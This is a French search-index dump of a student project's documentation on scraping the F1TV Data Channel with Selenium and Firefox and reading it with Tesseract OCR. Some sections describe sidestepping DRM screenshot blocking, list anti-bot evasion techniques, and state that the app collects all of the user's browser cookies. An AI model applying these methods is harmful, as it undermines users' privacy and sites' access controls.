et mise en place pour ne pas avoir besoin de s'en soucier ensuite.","title":"PT1 / pr\u00e9paration au travail de dipl\u00f4me (2)"},{"location":"index.html#dt","text":"Rubrique documentation qui contient toutes les t\u00e2ches en rapport de pr\u00e8s ou de loin avec la documentation du projet.","title":"DT"},{"location":"index.html#dt1-creation-du-poster-1","text":"Cette t\u00e2che consiste \u00e0 faire une version num\u00e9rique du poster qui soit en accord avec les consignes qu'on nous a donn\u00e9es. Le but est aussi et surtout de faire poster dont je sois fier et que je sois content de montrer. Il y a d\u00e9j\u00e0 des croquis de poster et j'ai clairement pr\u00e9vu de travailler sur \u00e7a pendant les vacances alors, je n'ai mis qu'un jour et je l'ai plac\u00e9 juste avant le rendu de ce dernier.","title":"DT1 Cr\u00e9ation du poster (1)"},{"location":"index.html#dt2-documentation-analyse-de-lexistant-2","text":"Cette t\u00e2che est d\u00e9di\u00e9e \u00e0 l'\u00e9criture de la documentation et plus pr\u00e9cis\u00e9ment de l'analyse de l'existant. Comme il y a pas mal de technologies utilis\u00e9es dans mon projet, j'aimerais faire correctement un vrai debrief de pourquoi j'ai utilis\u00e9 l'une ou l'autre alors, j'ai assign\u00e9 deux jours dessus.","title":"DT2 Documentation Analyse de l'existant (2)"},{"location":"index.html#dt3-documentation-analyse-organique-5","text":"Cette t\u00e2che est la plus grosse dans la cat\u00e9gorie documentation. Il s'agit de documenter comment l'application fonctionne. J'y ai mis cinq jours et je pense que c'est un minimum car c'est dans cette t\u00e2che que je vais devoir d\u00e9tailler exactement comment fonctionne chaque partie du projet. Ces cinq jours sont \u00e9parpill\u00e9s sur le projet en g\u00e9n\u00e9ral \u00e0 la fin du d\u00e9veloppement de chaque grande partie de projet. Le but est de ne rien oublier et de ne pas avoir \u00e0 tout faire en m\u00eame temps.","title":"DT3 Documentation Analyse organique (5)"},{"location":"index.html#dt4-documentation-analyse-fonctionnelle-2","text":"Cette t\u00e2che est d\u00e9j\u00e0 moins grosse, elle consiste \u00e0 documenter le fonctionnement de l'application et comment utiliser les composants que j'ai d\u00e9velopp\u00e9s. Je l'ai mis en fin de projet, car comme j'ai l'habitude de faire des analyses fonctionnelles plut\u00f4t pr\u00e9cises, le moindre changement dans l'UI peut tout rendre obsol\u00e8te. J'y ai mis deux jours, car j'aimerais correctement documenter avec de bonnes photos et sc\u00e9narios pour qu'on puisse voir toutes les possibilit\u00e9s de l'application.","title":"DT4 Documentation Analyse fonctionnelle (2)"},{"location":"index.html#dt5-documentation-tests-1","text":"Cette t\u00e2che est un peu plus petite qu'elle ne le devrait. Elle concerne la documentation des diff\u00e9rents tests. Je n'y ai mis qu'un seul jour, car en r\u00e9alit\u00e9 les diff\u00e9rentes t\u00e2ches de tests contiennent aussi beaucoup de documentation,","title":"DT5 Documentation Tests (1)"},{"location":"index.html#dt6-documentation-reste-2","text":"Cette t\u00e2che est une t\u00e2che un peu vague. Elle contient toutes les actions autres que j'aurai besoin de faire (Mise au propre, orthographe, g\u00e9n\u00e9ration de PDF ...). J'y ai mis deux jours pour avoir un peu de marge, car ce sont toujours des t\u00e2ches qui paraissent faciles, mais qui \u00e0 la fin prennent beaucoup de temps si on les fait bien.","title":"DT6 Documentation Reste (2)"},{"location":"index.html#pt_1","text":"Rubrique programmation qui contient toutes les t\u00e2ches qui touchent \u00e0 la programmation et au d\u00e9veloppement de l'application.","title":"PT"},{"location":"index.html#pt1-programmation-recuperation-des-images-3","text":"Cette t\u00e2che est estim\u00e9e \u00e0 seulement trois jours, il ne faut pas s'y m\u00e9prendre, c'est une des t\u00e2ches les plus dures et lourdes niveaux documentation en explications. Cependant, un POC (Proof Of Concept) assez avanc\u00e9 a d\u00e9j\u00e0 \u00e9t\u00e9 fait et donc cela permet de n'envisager que trois jours, car il suffit de l'impl\u00e9menter et de la paufinner. Cette t\u00e2che consiste \u00e0 prendre en entr\u00e9e un lien de Grand Prix et de sortir une image tous les x secondes de la page DATA. Cela peut sembler simple, mais pour le faire sans prendre d'espace d'\u00e9cran et ne demandant pas \u00e0 l'utilisateur de copier-coller quoi que ce soit o\u00f9 de donner ses identifiants F1TV c'est un challenge. Cela peut paraitre curieux alors de mettre cette t\u00e2che loin dans le planning m\u00eame si c'est la premi\u00e8re \u00e9tape du projet. Encore une fois cela s'explique avec le fait qu'il y a d\u00e9j\u00e0 un POC qui fonctionne \u00e0 peu pr\u00e8s et que donc pr\u00e9f\u00e8re commencer avec des t\u00e2ches plus incertaines dans le cas o\u00f9 elles prendraient plus de temps que pr\u00e9vu.","title":"PT1 Programmation r\u00e9cup\u00e9ration des images (3)"},{"location":"index.html#pt2-programmation-ocr-5","text":"Cette t\u00e2che consiste \u00e0 d\u00e9velopper la partie qui reconnait le texte sur les images. C'est tr\u00e8s certainement la t\u00e2che qui risque le plus de d\u00e9border car c'est celle qui est la plus complexe techniquement puisqu'elle demande non seulement la lecture sur image, mais aussi le d\u00e9veloppement d'algorithmes de traitement de cette donn\u00e9e pour \u00eatre s\u00fbr qu'elle a bien \u00e9t\u00e9 lue. J'y ai ainsi allou\u00e9 cinq jours, mais j'esp\u00e8re que j'arriverai \u00e0 gagner du temps sur les autres pour y allouer plus dans le planning effectif, car je suis convaincu que plus, on y passe du temps, meilleur sera le r\u00e9sultat.","title":"PT2 Programmation OCR (5)"},{"location":"index.html#pt3-programmation-stockage-et-modele-5","text":"Cette partie est moins technique, mais concerne le stockage des donn\u00e9es que nous retourne la lecture des images. Mais elle va demander de la r\u00e9flexion et de l'intelligence de programmation, car il faut que cette partie anticipe les besoins de la vue et pr\u00e9pare un terrain fertile qui ne demande pas un refactor quand on passera au d\u00e9veloppement de la vue. C'est pour cela que je lui ai aussi assign\u00e9 cinq jours de travail et elle doit absolument \u00eatre commenc\u00e9e apr\u00e8s la lecture.","title":"PT3 Programmation, stockage et mod\u00e8le (5)"},{"location":"index.html#pt4-programmation-vue-de-lapp-5","text":"Cette partie peut \u00eatre horrible comme tr\u00e8s facile, cela d\u00e9pend compl\u00e8tement de la qualit\u00e9 du travail avant. Si le mod\u00e8le est parfait et que les donn\u00e9es sont int\u00e8gres, cela devrait \u00eatre plut\u00f4t simple de les afficher de mani\u00e8re int\u00e9ressante. Cependant, cette partie d\u00e9bordera s\u00fbrement un peu, car tout le temps gagn\u00e9 avec de bonnes donn\u00e9es sera utilis\u00e9 pour tenter de faire de la pr\u00e9diction. Pour ces raisons, je lui ai assign\u00e9 \u00e9galement cinq jours de travail et elle doit absolument \u00eatre faite apr\u00e8s le mod\u00e8le.","title":"PT4 Programmation Vue de l'APP (5)"},{"location":"index.html#pt5-programmation-mise-en-commun-3","text":"Cette t\u00e2che est aussi un petit peu sp\u00e9ciale, car elle regroupe plusieurs choses. En gros, chaque partie de programmation sera s\u00fbrement assez ind\u00e9pendante et il faudra \u00e0 un moment faire un seul projet C# qui contient tout. Il est difficile d'estimer \u00e0 quel point cela va \u00eatre compliqu\u00e9 alors, j'ai \u00e9t\u00e9 conservateur et j'ai mis trois jours.","title":"PT5 Programmation mise en commun (3)"},{"location":"index.html#tt","text":"Cette rubrique contient les t\u00e2ches qui sont uniquement des tests. La plupart des t\u00e2ches de programmations contiennent d\u00e9j\u00e0 des tests, mais certaines demandent une attention particuli\u00e8re.","title":"TT"},{"location":"index.html#tt1-tests-ocr-2","text":"Cette t\u00e2che est une des t\u00e2ches les plus importantes. Son but est de faire un protocole de tests complet qui permette de comparer les diff\u00e9rents algorithmes de reconnaissance de texte. Je l'ai mise apr\u00e8s la reconnaissance, mais m\u00eame maintenant en \u00e9crivant ces lignes, je me dis que dans le planning effectif, elle sera faite pendant la t\u00e2che de programmation. En effet, comment savoir si mon tout nouvel algorithme est r\u00e9ellement mieux que le pr\u00e9c\u00e9dent. Je pr\u00e9vois deux jours, car je pense que faire le dataset va prendre beaucoup de temps, il faut pr\u00e9voir un certain nombre d'images et de texte qui pourront ensuite \u00eatre donn\u00e9es sous forme de tests. C'est certes une t\u00e2che de test, mais c'est aussi de la programmation.","title":"TT1 Tests OCR (2)"},{"location":"index.html#tt2-tests-finaux-2","text":"Cette t\u00e2che de tests est un peu vague, elle regroupe les diff\u00e9rents tests pour v\u00e9rifier que les donn\u00e9es sont bien affich\u00e9es correctement. Ce qui serait cool si j'ai du temps en fin de travail de dipl\u00f4me serait de faire un syst\u00e8me de test qui permet d'entrainer le programme \u00e0 mieux reconnaitre certaines choses comme des arr\u00eats aux stands si on lui donne les trois derni\u00e8res ann\u00e9es de grands Prix. J'ai mis une dur\u00e9e arbitraire de deux jours, mais je ne sais pas vraiment combien de temps cela va vraiment durer. Elle est \u00e9videmment \u00e0 effectuer une fois que tout est \u00e0 peu pr\u00e8s termin\u00e9.","title":"TT2 Tests finaux (2)"},{"location":"index.html#planning-effectif-et-differences","text":"[A remplir dans les derni\u00e8res semaines du travail de dipl\u00f4me]","title":"Planning effectif et diff\u00e9rences"},{"location":"index.html#analyse-fonctionnelle","text":"[A remplir au fur et \u00e0 mesure dans la seconde moiti\u00e9 du travail de dipl\u00f4me]","title":"Analyse fonctionnelle"},{"location":"index.html#analyse-organique","text":"[A remplir au fur et \u00e0 mesure que les features sont d\u00e9velopp\u00e9es]","title":"Analyse Organique"},{"location":"index.html#recuperation-des-images","text":"Voici la premi\u00e8re grande \u00e9tape du projet. Pour rappel, Amazon h\u00e9berge directement le site de la F1TV et poss\u00e8de les droits sur les donn\u00e9es de la F1. C'est sous le nom de AWS (le service d'h\u00e9bergement d'Amazon) que la firme apparait en tant que sponsor. On peut voir ce nom appara\u00eetre assez souvent quand on regarde un Grand Prix car comme ils ont la main-mise sur les donn\u00e9es ils peuvent ins\u00e8rer des bandeaux d'informations sur le flux public sur ce qu'il se passe voir m\u00eame faire des pr\u00e9dictions (Bien qu'un peu bancales) \"Exemple insertion AWS en GP\" Ce service s'appelle F1 Insights (Oui c'est un meilleur nom de projet que F1 Companion mais bon) et c'est, je pense, la raison pour laquelle on ne voit aucune API publique qui permette de correctement se renseigner en don\u00e9es en direct pendant un Grand Prix. Ils ont du d\u00e9gotter un juteux contrat pour s'occuper de toute l'infrastructure digitale de la F1 (du moins publique) en \u00e9change d'une exclusivit\u00e9 totale sur certaines choses comme les Data \"Exemple data d'AWS\" Evidemment je ne fais que conjecturer et ce que j'ai dit n'est pas \u00e0 prendre au pied de la lettre mais c'est une explication possible je pense de pourquoi il est si difficile de trouver des donn\u00e9es sur la F1 facilement en temps r\u00e9el. Il existe bien quelques API un peu bancales publiques, mais le probl\u00e8me c'est qu'elles ne sont vraiment pas suffisante et je ne peux pas leur faire confiance quand je commente. Ce qu'il m'aurait fallut c'est une API publique et officielle qui me permette d'\u00eatre sur que les donn\u00e9es sont les bonnes et qu'elles arrivent le plus vite possible. On pourrait croire que c'est impossible car cela n'existe pas comme je l'ai dit MAIS ! Ce n'est pas compl\u00eatement vrai. En effet depuis que je poss\u00e8de un abonnement \u00e0 la F1TV, il existe une source d'informations tr\u00e8s pr\u00e9cieuse qui m'aide \u00e9norm\u00e9ment dans mon quotidien de commentateur de Formule 1. La \"DATA CHANNEL\". La Data Channel est une page de la F1TV qui permet, pour chaque Grand Prix, de visualiser, sous la forme d'un flux vid\u00e9o, diff\u00e9rentes informations capitales sur la course. \"Exemple de Data Channel\" Le probl\u00e8me, c'est que comme je viens de le dire, ces donn\u00e9es ne sont pas accessibles comme un tableau HTML ou un flux RSS ou un tableau JSON. C'est un flux vid\u00e9o. Il faut savoir qu'entretenir une diffusion de flux vid\u00e9o en 1080P pendant deux heures accessible par des milliers d'abonn\u00e9s est EXTR\u00caMENT cher surtout quand on le compare \u00e0 simplement afficher les donn\u00e9es dans un tableau. Ce qui veut dire que ce choix est d\u00e9lib\u00e9r\u00e9 et a un sens au niveau \u00e9conomique. Je pense donc que c'est justement pour \u00e9viter que des petits malins puissent simplement venir scraper l'int\u00e9gralit\u00e9 des donn\u00e9es qu'ils proposent et fasse sa propre API. (C'est d'ailleurs un des sites avec la meilleure protection anti bot du monde) MAIS ce n'est pas par ce que les donn\u00e9es ne sont pas facile \u00e0 avoir qu'elles sont IMPOSSIBLE \u00e0 avoir. Et c'est la que ce projet entre en jeu. Mais pour d\u00e9coder les donn\u00e9es d'une image il faut dabord ... (roulement de tambours) ... Avoir des images ! Et c'est la que vient se glisser cette partie du projet.","title":"R\u00e9cup\u00e9ration des images"},{"location":"index.html#comment-faire","text":"Le but de ce segment est de se concentrer sur la r\u00e9cup\u00e8ration et la mise \u00e0 disposition pour le reste du programme, des images en direct de la F1TV dans la meilleure qualit\u00e9 possible et dans les meilleurs d\u00e9lais. Pour ce faire il y a plusieurs solutions : Reverse engeneer la F1TV pour acc\u00e8der directement au flux sans passer par la plateforme internet et pouvoir prendres images \u00e0 volont\u00e9. Avoir tout simplement une page de la F1TV ouverte sur un \u00e9cran et prendres des screenshots \u00e0 intervals r\u00e9guliers. Simuler un navigateur internet sans qu'il soit affich\u00e9 et le contr\u00f4ler automatiquement pour qu'il prenne des captures. La premi\u00e8re option aurait \u00e9t\u00e9 la plus \u00e9l\u00e9gante mais lors d'un POC que je tentais de r\u00e9aliser je me suis rendu compte que cela serait un peu trop compliqu\u00e9 et long \u00e0 faire. Sans compter le fait que les rediffusions de Grand Prix ne sont pas g\u00e8r\u00e9es de la m\u00eame mani\u00e8re que les diffusions en live. Et que pour faire des Tests en live il faudrait attendre \u00e0 chaque fois un weekend de Grand Prix et le faire en plus du commentaire que je dois produire. Pour toutes ces raisons et bien d'autres je l'ai rang\u00e9e dans la case \"Trop dur, Trop chiant, S\u00fbrement ill\u00e9gal\" (Oui je sais c'est une cat\u00e9gorie bien sp\u00e9cifique mais c'est ma documentation je fais ce que je veux) La troisi\u00e8me option aurait \u00e9t\u00e9 la plus simple (et moins dr\u00f4le) et je suis presque s\u00fbr que je peux impl\u00e9menter cette derni\u00e8re en moins d'une apr\u00e8s-midi. Sauf qu'elle apporte de gros soucis. On ne peux pas garantir l'int\u00e9grit\u00e9 et la continuit\u00e9 des donn\u00e9es si l'utilisateur avance ou fait pause m\u00eame par simple inadvertance. La moindre fen\u00eatre qui s'afficherait devant ruinerait toute la reconnaissance de caract\u00e8res. On ne peut pas contr\u00f4ler la qualit\u00e9 du flux et on est oblig\u00e9 de faire confiance en l'utilisateur On ne peut pas vraiment automatiser quoi que ce soit niveau tests ou m\u00eame pour faire du scrapping auto pour remplir une base de donn\u00e9e. Et finalement le pire inconv\u00e9nient : C'EST NUL ! Je ne pourrais jamais utiliser un projet qui fonctionne de cette facon, je ne peux pas me permettre d'avoir un \u00e9cran inutilisable quand je commente et auquel je dois constamment faire attention pour ne pas perturber la reconnaissance. Pour moi cette option aurait \u00e9t\u00e9 celle \u00e0 choisir en cas d'extr\u00eame urgence et en dernier recours car le projet deviendrait inutile. J'ai donc d\u00e9cid\u00e9 de m'occuper de la seconde option : Simuler un navigateur. Cette option bien que complexe et difficile \u00e0 impl\u00e9menter propose une solution \u00e0 tous les probl\u00eame et permet une r\u00e9cup\u00e8ration quasi sans compromis.","title":"Comment faire ?"},{"location":"index.html#simuler-un-navigateur","text":"Simuler un navigateur internet n'est pas forc\u00e9ment tr\u00e8s difficile. Chromium par exemple offre une panoplie d'outils natifs et \u00e9norm\u00e9ment de librairies existent permettant de facilement et en quelques lignes simuler un Google Chrome et le contr\u00f4ler sans afficher son UI. \"Chromium logo\" {: style=\"height:150px;width:150px\"} Cependant. La F1TV n'utilise pas simplement un player HTML5 basique. Elle utilise un service de streaming BitMovin qui permet de fournir un stream de bonne qualit\u00e9 et surtout qui impl\u00e9mente les DRM (Digital Right Management) Cela veut dire que quand on ouvre un flux de la F1TV sur chrome et que l'on essaie de prendre une capture d'\u00e9cran, le player se met en noir et ne permet pas de voir quoi que ce soit (Certaines version de Chrome le permettent pendant quelques semaines avant de bloquer \u00e0 nouveau). Ce qui dans notre cas est un immense probl\u00e8me. Mais Firefox ne nous bloque pas de cette facon et il est donc assez facile de passer outre. L'explication sans trop rentrer dans les d\u00e9tails est la suivante : Dans chrome, le player par d\u00e9faut utilise une technologie appell\u00e9e \"PCP\" ou \"Protected Content Playback\" qui leur permet de bloquer au moins une partie des techniques de r\u00e9cup\u00e8ration du flux vid\u00e9o et audio. Cependant Firefox de pas sa nature Open Source utilise \"OpenH264\" pour lire ces m\u00eames flux soumis \u00e0 des DRM et OpenH264 n'impl\u00e9mente pas les m\u00eames restrictions. Sauf que Firefox n'est pas aussi facilement \u00e9mul\u00e9 que chrome et cela r\u00e9duit notre choix de librairies \u00e0 ... Une seule... Qui est Selenium. (Il existe aussi Pupetteer C# mais j'ai rencontr\u00e9 \u00e9norm\u00e9ment de soucis avec cette derni\u00e8re d\u00e8s que je voulais lancer une vid\u00e9o) \"Firefox dev logo\" {: style=\"height:150px;width:150px\"} Mais m\u00eame si la documentation est plut\u00f4t maigre parfois, c'est une bonne librairie qui permet de tr\u00e8s bien contr\u00f4ler une instance de chrome ou de Firefox.","title":"Simuler un navigateur ?"},{"location":"index.html#controler-le-navigateur","text":"Maintenant que l'on sait quel navigateur simuler et avec quelle technologie, on peut passer \u00e0 la r\u00e9alisation. Ce qu'il y a de bien avec Selenium, c'est qu'on a un certain nombre de commandes tr\u00e8s haut niveau qui nous permettent de contr\u00f4ler un navigateur de mani\u00e8re plut\u00f4t pr\u00e9cise. Je vais d\u00e9crire ici la proc\u00e9dure habituelle utilis\u00e9e sous une forme de recette de cuisine pour que l'on puisse facilement comprendre ce qu'il se passe. Durant cette explication je vais parler \u00e0 un moment de Cookies, ne vous en faites pas c'est le sous chapitre suivant qui va vous en parler. Recette de cuisine pour r\u00e9cup\u00e8rer des images de la F1TV : D\u00e9marrer une instance de navigateur avec les bons arguments Ajouter les bons param\u00eatres pour ne pas se faire flag comme un bot Naviguer sur la page de la F1TV Ajouter les cookies de connexion pour avoir acc\u00e8s au contenu de la page Naviguer sur la page du Grand Prix demand\u00e9 Attendre un peu que la page se charge Cliquer sur l'invite de cookies Attendre cinq secondes le temps que la page se reload Cliquer sur le bouton qui permet de passer du feed live \u00e0 la DATA CHANNEL Appuyer sur Espace pour faire apparaitre le bouton d'acc\u00e8s au param\u00eatres Cliquer sur le menu d\u00e9roulant des r\u00e9solution Trouver l'option 1080P et la selectionner Cliquer sur le bouton qui met la vid\u00e9o en plein \u00e9cran Prendre de screenshots \u00e0 intervales r\u00e9guliers Pour faire toutes ces actions on doit r\u00e9cup\u00e8rer les \u00e9l\u00e9ments selon leur ID ou leur classe. Voici un exemple qui r\u00e9cup\u00e8re le bouton de plein \u00e9cran et qui clique dessus : IWebElement fullScreenButton = Driver.FindElement(By.ClassName(\"bmpui-ui-fullscreentogglebutton\")); fullScreenButton.Click(); Ca peut para\u00eetre plut\u00f4t simple dit comme ca et quand tout fonctionne ca l'est mais la difficult\u00e9 vient du fait que \u00e0 peu pr\u00e8s nimporte laquelle de ces \u00e9tapes peut rater et qu'il faut donc faire un bon syst\u00e8me de gestion d'erreurs qui puisse aider l'utilisateur en cas de probl\u00e8me. Il faut dire aussi que les sites ne sont pas forc\u00e9ment tr\u00e8s content de voir des bots passer car cela peut \u00eatre un risque de DDOS et de Scraping (Comme moi) et donc ils mettent en place des syst\u00e8mes pour nous emp\u00eacher de faire ce que l'on veut On peut utiliser diff\u00e9rntes techniques pour passer outre ces restrictions comme : Changer son UserAgent Changer sa r\u00e9solution Ne pas avoir des patterns trop pr\u00e9visibles Avoir un historique Ne pas cliquer pile sur le milieu des boutons Ne pas cliquer trop vite Passer par un proxy pour ne pas se faire flag Utiliser des librairies plus discr\u00e8tes J'ai eu l'occasion de tester toutes ces methodes pour tenter de passer derri\u00e8re les radars de la F1TV et visiblement j'ai r\u00e9ussi pour les pages principales mais pas pour les pages de Login. Il faut savoir que la bataille entre bots et propri\u00e9taires de sites est un grand jeu du chat et de la souris et que les plateformes innovent constamment leur s\u00e9curit\u00e9. Et il se trouve que la partie login de la F1TV est heberg\u00e9e autre part que le reste du site chez Amazon et que elle poss\u00e8de les meilleures s\u00e9curit\u00e9s que j'aie pu voir. Aucunes des methodes que j'ai cit\u00e9es et d'autres encore que j'ai essay\u00e9 n'ont r\u00e9ussi \u00e0 fourvoyer le syst\u00e8me. J'ai donc \u00e9t\u00e9 oblig\u00e9 de faire appel \u00e0 la connexion par Cookies pour pouvoir acc\u00e8der au reste du site internet.","title":"Contr\u00f4ler le navigateur"},{"location":"index.html#recuperer-les-cookies","text":"Alors, on va mettre de c\u00f4t\u00e9 toutes les questions de s\u00e9curit\u00e9 et de violation de la vie priv\u00e9e et de protection des donn\u00e9es des utilisateurs pour ce chapitre. Car pour faire simple, je siphonne TOUS les cookies de la persone qui utilise mon app. [FINIR CETTE EXPLICATIOn]","title":"R\u00e9cup\u00e8rer les cookies ?"},{"location":"index.html#calibration","text":"[AJOUTER EXPLICATION]","title":"Calibration"},{"location":"index.html#ocr","text":"Ici je vais parler de la seconde partie du projet qui parle du processus de reconnaissance de data sur une image du feed DATA de la F1TV. C'est je pense la partie qui a demand\u00e9 le plus tests et de refactor. Toute la partie OCR a \u00e9t\u00e9 d\u00e9velopp\u00e9e dans un projet \u00e0 part avant d'\u00eatre int\u00e9gr\u00e9e dans le projet final. Il faut savoir que la reconnaissance est diff\u00e9rente celon ce que l'on cherche. Je vais donc d\u00e9composer cette partie du document en sous rubriques selon les donn\u00e9es recherch\u00e9es. Mais avant ca je dois expliquer certains concepts qui seront importants.","title":"OCR"},{"location":"index.html#fonctionnement-general","text":"Voici un screenshot de la page DATA de la F1TV que le programme va recevoir : \"Screen F1TV\" Si on regarde de loin on peut se dire que la structure est plut\u00f4t simple mais c'est loin d'\u00eatre le cas. On peut y voir au moins 4 zones contenant de l'information dans un format diff\u00e9rent. \"Zones principales\" Dans l'exemple ci dessus on peut voir 3 zones mais on aurait \u00e9galement pu comprendre la zone de position des pilotes autour du circuit pour faire 4. Ces 4 zones sont tr\u00e8s diff\u00e9rentes et contiennent d'autres informations. Pour ce travail de dipl\u00f4me je ne m'occupe que de la zone principale. Mais je pense que le titre et les infos de circuit ne prendrait pas tant de temps que ca \u00e0 impl\u00e9menter. J'ai utilis\u00e9 le mot \"Zone\" plus haut et ca n'est pas juste un mot utilis\u00e9 au hasard. C'est le nom de l'objet que j'utilise pour les repr\u00e9senter dans mon programme. Mais comme c'est important de bien comprendre ce concept avant de continuer je vais vous l'expliquer. ZONE : L'objet \"Zone\" parent est un objet qui est une zone d'image. Je m'explique, le but d'une zone est d'\u00eatre un morceau d'une image plus grande. Le but d'une Zone est de contenir une liste de plus petites Zones ou bien une liste de \"Window\" (j'explique ce que c'est juste apr\u00e8s). Elle contient la portion d'image qui la concerne et ses propres dimensions. Le parent zone ne pr\u00e9voit que de pouvoir ajouter ou supprimer des \u00e9l\u00e9ments des listes de zones ou de windows ainsi qu'une methode qui permet d'aller chercher toutes informations des livres qu'elle contient. L'int\u00e9r\u00eat d'une zone est de pouvoir compartimenter une image dans des parties int\u00e9ressantes au niveau de la reconnaissance mais pas de traiter d'information. WINDOW : L'objet \"Window\" est un objet qui peut ressembler beaucoup \u00e0 l'objet \"Zone\". En effet elle aussi est une partie d'une image plus grande et contient ses dimensions, mais elle se distingue en deux points importants. Elle ne contient pas d'autres Zones ou Windows Elle peut retourner les informations \u00e9crites sur son image. Toutes les Window qui h\u00e9ritent du parent Window peuvent impl\u00e9menter une methode qui permet de renvoyer ce qui peut \u00eatre d\u00e9cod\u00e9 sur son image. Les enfants peuvent aussi aller piocher dans les nombresues methodes de r\u00e9cup\u00e8ration de donn\u00e9es contenues dans le parent Window. Mieux vaut r\u00e9utiliser le plus possible que de r\u00e9inventer la roue pour chaque Window. Une analogie un peu bancale pourrait se pr\u00e9senter comme la suivante : La zone est une armoire ou une bibliot\u00e8que. Si c'est une zone qui contient d'autres zones c'est une bibliot\u00e8que et chacune de ces sous-zones sont des armoires. Leur unique but est de contenir de mani\u00e8re ordonn\u00e9e des objets qui eux contiennent de l'information. Les livres ici sont les Windows. Ils contiennet de l'information et sont stock\u00e9s dans des armoires et on y acc\u00e8de en allant dans la bonne bibliot\u00e8que et en allant dans la bonne armoire. Derni\u00e8res choses pour comprendre le diagramme: Il existe une Main Zone qui est une des 4 grandes zones dont je parlais dans la d\u00e9composition de l'image. Il existe aussi des \"Driver Zone\" qui sont de plus petites zones contenues dans la Main Zone qui et qui ne contiennent que les informations d'un pilote. L'objet Window n'est quasi jamais utilis\u00e9, c'est presque tout le temps des enfants de Window plus sp\u00e9cifiques qui sont utilis\u00e9s, le but est que chaque type d'information sur l'image aie son type de window. Voila donc un petit diagramme qui montre le d\u00e9coupage du programme : \"Diagramme explicatif de l'architecture des zones\" Pour visualiser encore un peu mieux comment ce d\u00e9coupage prend forme voici ce que chaque zone et Window contient. Main Zone : \"Exemple zone principale\" Driver Zone : \"Exemple zone de pilote\" Driver Position Window : \"Exemple de fen\u00eatre de position\" Driver name Window : \"Exemple de fen\u00eatre de nom\" Driver LapTime Window : \"Exemple de fen\u00eatre de temps au tour\" Driver Tyre Window : \"Exemple de fen\u00eatre pneus\" Il existe d'autres types de Window mais ce sont les principaux. On se rend assez facilement compte que chacunes de ces windows va avoir besoin d'un traitement sp\u00e9cifique car la mani\u00e8re de reconnaitre le pneu utilis\u00e9 et le temps au tour ne peut pas \u00eatre la m\u00eame. Pour r\u00e9sumer, on a un programme qui prend en entr\u00e9e un fichier de configuration, qui prend des images de la F1TV et les d\u00e9coupe dans des ZONES qui elles m\u00eame sont d\u00e9coup\u00e9es en WINDOWS pour qu'on puisse plus facilement les d\u00e9coder. Maintenant qu'on a une liste de diff\u00e9rent types de zones on peut commencer \u00e0 chercher ce qu'il y a marqu\u00e9 dessus. Pour cela il faut dabord comprendre un petit peu comment l'OCR fonctionne et comment des libraries comme Tesseract fonctionnent pour donner du texte en partant d'une image. Pour faire tr\u00e8s simple, nous avons un mod\u00e8le qui est entrain\u00e9. C'est \u00e0 dire que on donne \u00e0 un programme un tr\u00e8s grand nombre de mots ou de lettres en lui disant ce que contiennent chaques images. Ensuite le programme va cr\u00e9er des matrices de convolutions pour chaque lettre avec comme objectif de detecter les points communs entre les lettres pour cr\u00e9er un alpphabet. Par exemple la matric de la lettre 'H' donnerait un poids important \u00e0 des lignes verticales connect\u00e9es par une ligne centrale. Et si on fournis assez de donn\u00e9es de bonne qualit\u00e9 au mod\u00e8le, les matrices peuvent \u00eatre tr\u00e8s efficace \u00e0 detecter si une lettre est un H ou un M. Il y a pleins d'autres methodes comme l'utilisation d'un dictionnaire de mots de la langue pour permettre la reconnaissance de mots m\u00eame si une lettre au milieu n'est pas comprise ou en ajoutant d'autres informations sur le contexte mais ca ne nous int\u00e9resse pas ici. C'est important de comprendre comment cette reconnaissance de caract\u00e8res avec des matrices fonctionne car cela va nous aider \u00e0 pr\u00e9parer nos donn\u00e9es pour lui rendre la vie facile et augmenter la pr\u00e9cision de nos r\u00e9sultats.","title":"Fonctionnement g\u00e9n\u00e9ral"},{"location":"index.html#filtres-et-traitement","text":"On peut essayer de donner toutes nos images directement \u00e0 Tesseract pour qu'il reconnaisse tout le texte qu'il y voit mais on risque de se retrouver avec des r\u00e9sultats au mieux inconsistents. Dans notre cas, le soucis est que les chiffres et lettres sont beaucoup trop petits. Ils ne font parfoisd que 10 pixels de haut et cela fait que il n'est pas forc\u00e9ment facile de toujours les diff\u00e9rencier. De plus, comme ils sont petits, les art\u00e9facts d'aliasing sont assez violents et peuvent grandement d\u00e9former une lettre ou un chiffre. Exemple : Prenons le chiffre 9. Dans l'image il peut \u00eatre repr\u00e9sent\u00e9 de cette mani\u00e8re : \"Exemple de chiffre avant post traitement\" On peut voir qu'il est flou, pour nous cela ne pose pas de probl\u00e8me et je pense que \u00e0 peu pr\u00e8s nimporte qui peut dire que c'est un 9. Cependant comme les contours sont flous et m\u00eame si on essaie de retirer le background : \"9 avec anti aliasing\" On voit que le 9 n'est pas clairement d\u00e9finit. En effet on pourrait le comprendre comme : \"Premier exemple de contours\" Ou comme : \"Second exemple de contours\" Voire m\u00eame simplement comme : \"Exemple de coutour g\u00e9n\u00e9reux\" Et on se rend bien compte que les performances de detection ne sont pas les m\u00eames dans ces trois cas. Il faut donc faire un certain post traitement des images pour supprimer les \u00e9l\u00e9ments parasites, les couleurs, et augmenter la visibilit\u00e9 des contours importants. Mais chaque type de donn\u00e9e va avoir des methodes de post traitement diff\u00e9rents. Donc voici les diff\u00e9rents types de reconnaissance et leur post traitements :","title":"Filtres et traitement"},{"location":"index.html#texte","text":"Alors ce type de reconnaissance est utilis\u00e9 par la WINDOW du nom de pilote et de la position du pilote. C'est je pense la plus simple de toutes car Tesseract est particuli\u00e8rement bien entrain\u00e9 pour. Cette reconnaissance concerne donc des lettres qui font des mots ou des noms. Voici un exemple de la WINDOW nom de pilote en entr\u00e9e : \"Exemple texte cru\" Ce texte peut paraitre bon, cependant quand on le lance dans Tesseract, il ne va pas toujours donner un r\u00e9sultat parfait. Il faut aussi savoir qu'il y a des noms pas mal plus p\u00e9nibles que Tesseract a plus de mal \u00e0 reconnaitres, soit \u00e0 cause des lettres utilis\u00e9es, soit car le nom est un nom d'une autre r\u00e9gion et qui ne veut rien dire en anglais ce qui emp\u00eache l'utilisation de dictionnaire (Ex : Tsunoda est un nom japonais et parfois il est difficile pour Tesseract de le reconnaitre car si une lettre pose probl\u00eame il ne peut pas trouver de contexte qui puisse l'aider). Donc pour le rendre plus facilement lisible et augmenter les chances que toutes les lettres soient d\u00e9couvertes, voici les \u00e9tapes que j'ai mis en place. 1 : J'inverse les couleurs. Je me suis rendu compte que il \u00e9tait souvent plus facile de trouver un noir sur blanc que blanc sur noir. Je ne suis pas sur que cette \u00e9tape soit capitale cependant. \"Texte invers\u00e9\" 2 : Je fais un 